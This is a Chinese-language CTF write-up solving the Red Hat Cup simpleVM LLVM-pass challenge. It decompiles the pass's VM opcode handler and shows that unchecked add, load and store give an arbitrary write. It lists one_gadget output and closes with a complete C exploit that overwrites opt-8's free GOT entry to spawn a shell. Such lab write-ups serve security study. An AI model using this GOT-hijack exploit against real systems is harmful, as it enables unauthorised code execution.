0%

LLVM+Got劫持

红帽杯 simpleVM 复现

注意:做 LLVM pass 的 pwn 题最好使用 IDA7.7 及其以上的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
Hack LLVM!

Docker Guidance:

FROM ubuntu:18.04

RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
apt-get update && apt-get -y dist-upgrade && \
apt-get install -y lib32z1 xinetd libseccomp-dev libseccomp2 seccomp clang-8 opt llvm-8 python

once your exp.bc(bitcode file) is uploaded

Sever will execute `opt-8 -load ./VMPass.so -VMPass ./exp.bc`

按照程序要求,预先配置好环境

知晓“在代码中注册的名字”时,就可以通过如下方法寻找 runOnFunction:

  • 在 IDA 中搜索题目给定的“在代码中注册的名字”,找到对应的函数

1653917067225

  • 在这个函数及其子函数中寻找 off-xxxx 就可能找到虚表(尽量找那些未命名的函数)

1653917316159

  • 虚表的最后一个条目就是 runOnFunction

1653917365912

如果函数名是 o0o0o0o0,则调用函数 sub_6AC0 进行进一步处理:(本人看不懂Cpp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_6AC0(__int64 a1, llvm::Function *a2)
{
llvm::BasicBlock *BasicBlock; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+38h] [rbp-18h] BYREF
__int64 v5[2]; // [rsp+40h] [rbp-10h] BYREF

v5[1] = __readfsqword(0x28u);
v5[0] = llvm::Function::begin(a2);
while ( 1 )
{
v4 = llvm::Function::end(a2);
if ( (llvm::operator!=(v5, &v4) & 1) == 0 )
break;
BasicBlock = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator*(v5);
sub_6B80(a1, BasicBlock);
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(
v5,
0LL);
}
return __readfsqword(0x28u);
}
  • 大概的意思就是:遍历IR中 o0o0o0o0 函数中的 BasicBlock(基本代码块),然后继续调用 sub_6B80 函数进行处理
  • 该函数会遍历 BasicBlock(基本代码块) 中的指令,然后匹配到对应指令后进行处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *BasicBlock)
{
llvm::Value *CalledFunction; // rax
void **v3; // rax
void **v4; // rax
llvm::ConstantInt *key_min2; // [rsp+18h] [rbp-1B8h]
__int64 ArgOp_min2; // [rsp+20h] [rbp-1B0h]
__int64 op_min; // [rsp+28h] [rbp-1A8h]
llvm::ConstantInt *key_min; // [rsp+30h] [rbp-1A0h]
_QWORD *reg_min; // [rsp+38h] [rbp-198h]
__int64 ArgOp_min; // [rsp+40h] [rbp-190h]
llvm::ConstantInt *key_add2; // [rsp+50h] [rbp-180h]
__int64 ArgOp_add2; // [rsp+58h] [rbp-178h]
__int64 op_add; // [rsp+60h] [rbp-170h]
llvm::ConstantInt *key_add; // [rsp+68h] [rbp-168h]
_QWORD *reg_add; // [rsp+70h] [rbp-160h]
__int64 ArgOp_add; // [rsp+78h] [rbp-158h]
__int64 op_load; // [rsp+A0h] [rbp-130h]
llvm::ConstantInt *key_load; // [rsp+A8h] [rbp-128h]
void *reg_load; // [rsp+B0h] [rbp-120h]
__int64 ArgOp_load; // [rsp+B8h] [rbp-118h]
__int64 op_store; // [rsp+E0h] [rbp-F0h]
llvm::ConstantInt *key_store; // [rsp+E8h] [rbp-E8h]
void *reg_store; // [rsp+F0h] [rbp-E0h]
__int64 ArgOp_store; // [rsp+F8h] [rbp-D8h]
__int64 op_push; // [rsp+110h] [rbp-C0h]
llvm::ConstantInt *key_push; // [rsp+118h] [rbp-B8h]
_QWORD *reg_push; // [rsp+120h] [rbp-B0h]
__int64 ArgOp_push; // [rsp+128h] [rbp-A8h]
__int64 op_pop; // [rsp+140h] [rbp-90h]
llvm::ConstantInt *key_pop; // [rsp+148h] [rbp-88h]
_QWORD *reg_pop; // [rsp+150h] [rbp-80h]
__int64 ArgOp_pop; // [rsp+158h] [rbp-78h]
char *name; // [rsp+168h] [rbp-68h]
llvm::CallBase *v35; // [rsp+170h] [rbp-60h]
llvm::Instruction *v36; // [rsp+180h] [rbp-50h]
_QWORD *Name; // [rsp+1A8h] [rbp-28h]
__int64 v38; // [rsp+1B8h] [rbp-18h] BYREF
__int64 v39[2]; // [rsp+1C0h] [rbp-10h] BYREF

v39[1] = __readfsqword(0x28u);
v39[0] = llvm::BasicBlock::begin(BasicBlock);
while ( 1 )
{
v38 = llvm::BasicBlock::end(BasicBlock);
if ( (llvm::operator!=(v39, &v38) & 1) == 0 )
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(v39);
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )
{
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
if ( v35 )
{
name = (char *)malloc(0x20uLL);
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
Name = (_QWORD *)llvm::Value::getName(CalledFunction);
*(_QWORD *)name = *Name;
*((_QWORD *)name + 1) = Name[1];
*((_QWORD *)name + 2) = Name[2];
*((_QWORD *)name + 3) = Name[3];
if ( !strcmp(name, "pop") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOp_pop = llvm::CallBase::getArgOperand(v35, 0);
reg_pop = 0LL;
key_pop = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_pop);
if ( key_pop )
{
op_pop = llvm::ConstantInt::getZExtValue(key_pop);
if ( op_pop == 1 )
reg_pop = register1;
if ( op_pop == 2 )
reg_pop = register2;
}
if ( reg_pop )
{
v3 = stack_s;
*reg_pop = *(_QWORD *)*stack_s;
*v3 = (char *)*v3 - 8;
}
}
}
else if ( !strcmp(name, "push") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOp_push = llvm::CallBase::getArgOperand(v35, 0);
reg_push = 0LL;
key_push = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_push);
if ( key_push )
{
op_push = llvm::ConstantInt::getZExtValue(key_push);
if ( op_push == 1 )
reg_push = register1;
if ( op_push == 2 )
reg_push = register2;
}
if ( reg_push )
{
v4 = stack_s;
*stack_s = (char *)*stack_s + 8;
*(_QWORD *)*v4 = *reg_push;
}
}
}
else if ( !strcmp(name, "store") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOp_store = llvm::CallBase::getArgOperand(v35, 0);
reg_store = 0LL;
key_store = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_store);
if ( key_store )
{
op_store = llvm::ConstantInt::getZExtValue(key_store);
if ( op_store == 1 )
reg_store = register1;
if ( op_store == 2 )
reg_store = register2;
}
if ( reg_store == register1 )
{
**(_QWORD **)register1 = *(_QWORD *)register2;
}
else if ( reg_store == register2 )
{
**(_QWORD **)register2 = *(_QWORD *)register1;
}
}
}
else if ( !strcmp(name, "load") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOp_load = llvm::CallBase::getArgOperand(v35, 0);
reg_load = 0LL;
key_load = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_load);
if ( key_load )
{
op_load = llvm::ConstantInt::getZExtValue(key_load);
if ( op_load == 1 )
reg_load = register1;
if ( op_load == 2 )
reg_load = register2;
}
if ( reg_load == register1 )
*(_QWORD *)register2 = **(_QWORD **)register1;
if ( reg_load == register2 )
*(_QWORD *)register1 = **(_QWORD **)register2;
}
}
else if ( !strcmp(name, "add") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
ArgOp_add = llvm::CallBase::getArgOperand(v35, 0);
reg_add = 0LL;
key_add = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_add);
if ( key_add )
{
op_add = llvm::ConstantInt::getZExtValue(key_add);
if ( op_add == 1 )
reg_add = register1;
if ( op_add == 2 )
reg_add = register2;
}
if ( reg_add )
{
ArgOp_add2 = llvm::CallBase::getArgOperand(v35, 1u);
key_add2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_add2);
if ( key_add2 )
*reg_add += llvm::ConstantInt::getZExtValue(key_add2);
}
}
}
else if ( !strcmp(name, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
ArgOp_min = llvm::CallBase::getArgOperand(v35, 0);
reg_min = 0LL;
key_min = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_min);
if ( key_min )
{
op_min = llvm::ConstantInt::getZExtValue(key_min);
if ( op_min == 1 )
reg_min = register1;
if ( op_min == 2 )
reg_min = register2;
}
if ( reg_min )
{
ArgOp_min2 = llvm::CallBase::getArgOperand(v35, 1u);
key_min2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_min2);
if ( key_min2 )
*reg_min -= llvm::ConstantInt::getZExtValue(key_min2);
}
}
free(name);
}
}
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
v39,
0LL);
}
return 1LL;
}

Cpp 看得我好难受,连蒙带猜可以推断出它的意思:

  • 先从函数的第二个参数传入 BasicBlock
  • 通过 llvm::Value::getName 获取 name
  • 把 name 和各种命令进行对比:pop,push,add……
  • 紧接着就执行了 llvm::CallBase::getArgOperand(v35, 0) ,从名字来看,它获取了一个叫做 ArgOperand 的东西(看上去像是某种操作数)
  • 然后把 ArgOperand 作为参数,执行了 llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_pop) ,因为返回值的类型为 llvm::ConstantInt * ,看名字和“常量整数”有关,所以猜测这个函数和C语言中的 “atoi” 类似
  • 然后执行 llvm::ConstantInt::getZExtValue(key_pop) ,获取了整形的 ZExtValue,从后续的 if 语句来看,这个值极有可能是“1”或者“2”
  • 最后对比 op_command 的值,选择把 reg_command 赋值为 register1 或者 register2

漏洞点如下:

ADD 指令:

1
2
3
4
5
6
7
if ( reg_add )
{
ArgOp_add2 = llvm::CallBase::getArgOperand(v35, 1u);
key_add2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOp_add2);
if ( key_add2 )
*reg_add += llvm::ConstantInt::getZExtValue(key_add2);
}
  • 这里匹配到 add 指令时,会根据其 “操作数1” 的值,来选择对应的 register,将 “操作数2” 累加上去
  • 可以通过 add 改变 register1 和 register2(它们的初始值为“0”)

LOAD 指令:

1
2
3
4
if ( reg_load == register1 )
*(_QWORD *)register2 = **(_QWORD **)register1;
if ( reg_load == register2 )
*(_QWORD *)register1 = **(_QWORD **)register2;
  • 当匹配到 load 指令时,将对应的 register 中的值看做是地址,从该地址中取出8字节数据存入另一个 register 中(把二级指针中的数据放入一级指针中)
  • register1 和 register2 的值完全由 add 控制,并且没有 load 中没有检查边界

STORE 指令:

1
2
3
4
5
6
7
8
if ( reg_store == register1 )
{
**(_QWORD **)register1 = *(_QWORD *)register2;
}
else if ( reg_store == register2 )
{
**(_QWORD **)register2 = *(_QWORD *)register1;
}
  • 当匹配到 store 指令时,就执行和 load 指令相反的操作,同样没有检查边界
  • 所以 addloadstore 相互配合,就可以实现 WAA

入侵思路为:

  • opt-8 二进制程序的 GOT 表中的 free 表项改为 one_gadget,即可获得 shell

获取 one_gadget:

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
➜  simpleVM one_gadget libc.so -l2
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe56ff execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

0xe58b8 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe58bf execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe58c3 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a468 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

获取 free GOT 表:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level='debug'

p=process('./opt-8')
elf=ELF('./opt-8')

free_got = elf.got['free']
success("free_got >> "+hex(free_got))

p.interactive()
1
2
3
4
5
6
7
8
9
[+] Starting local process './opt-8' argv=['./opt-8'] : pid 3696
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/simpleVM/opt-8'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] free_got >> 0x77e100
[*] Switching to interactive mode

完整 exp 为:

1
2
3
4
5
6
7
8
9
10
11
12
13
void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);

void o0o0o0o0(){
add(1, 0x77e100); // 0x77e100: free_GOT
load(1);
add(2, 0x72a9c); // 0x72a9c: one_gadget和free_addr之间的偏移
store(1);
}
  • add(1, 0x77e100) 会在 register1 中写入 free_GOT
  • load(1) 会把 free_GOT 中的 free_addr(二级指针)装入 register2(一级指针)
  • add(2, 0x72a9c) 会把 register2 中的 free_addr 变为 one_gadget
  • store(1) 会把 register2 中的 one_gadget(一级指针),装入 register1 中的 free_GOT 中(二级指针)

最后执行:

1
2
➜  simpleVM clang -emit-llvm -S exp.c -o exp.ll
➜ simpleVM ./opt-8 -load ./VMPass.so -VMPass ./exp.ll
  • PS:当我尝试利用 patchelf 修改 opt-8 的 libc 版本时,我遇到了各种各样的报错,最后还是没法解决,干脆就算了

小结:

这是我第一次搞 LLVM pwn,感觉就是 Cpp 的代码有点难看,程序逻辑还是可以理解

我对于 LLVM 的理解是:

  • 在执行优化操作之前,先把代码转化为 LLVM 的中间表示 IR,然后对 IR 进行优化,最后交给后端翻译为机器码

本题目的问题就出在 LLVM IR 的优化,也就是 LLVM pass

用 IDA 分析发现:VMPass.so 有大量“指令函数”(add,load,store ……),这些函数就是优化的目标,漏洞也是在优化的过程中出现的